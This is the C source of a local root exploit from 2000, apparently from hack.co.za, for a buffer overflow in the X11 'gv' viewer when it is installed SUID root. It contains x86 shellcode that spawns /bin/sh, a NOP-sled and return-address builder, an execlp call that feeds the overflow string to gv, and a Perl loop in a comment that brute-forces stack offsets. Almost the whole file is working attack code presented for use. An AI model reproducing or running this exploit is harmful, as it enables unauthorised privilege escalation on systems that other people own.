/* (linux+X11)gv buffer overflow, by v9[v9@fakehalo.org]. this will give you a euid=0 shell if /usr/X11R6/bin/gv is SUID(=4755), which isn't anywheres by default. eh, another eip overflow. :/ note: if /usr/X11R6/bin/gv isn't SUID(=4755) or you're not uid=0 it usually won't launch the shell. use offsets around 2000-2100. here is a quick perl script to run offsets (until ctrl-c): #!/usr/bin/perl $i=$ARGV[0]; while(1){ print "offset: $i.\n"; system("./gv_bof $i"); $i++; # or $i+=100; if you want to be speedy. } */ #define DEFAULT_OFFSET 2050 static char exec[]= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56" "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80" "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; // i like hex01. long esp(void) { __asm__("movl %esp,%eax"); } int main(int argc,char **argv) { char bof[276]; int i,offset; long ret; if(argc>1) { offset=atoi(argv[1]); } else { offset=DEFAULT_OFFSET; } ret=(esp()-offset); printf("return address: 0x%lx, offset: %d.\n",ret,offset); for(i=0;i<276;i+=4) { *(long *)&bof[i]=ret; } for(i=0;i<(260-strlen(exec));i++) { *(bof+i)=0x90; } memcpy(bof+i,exec,strlen(exec)); execlp("/usr/X11R6/bin/gv","gv","-ad",bof,0); } /* www.hack.co.za [27 June 2000]*/
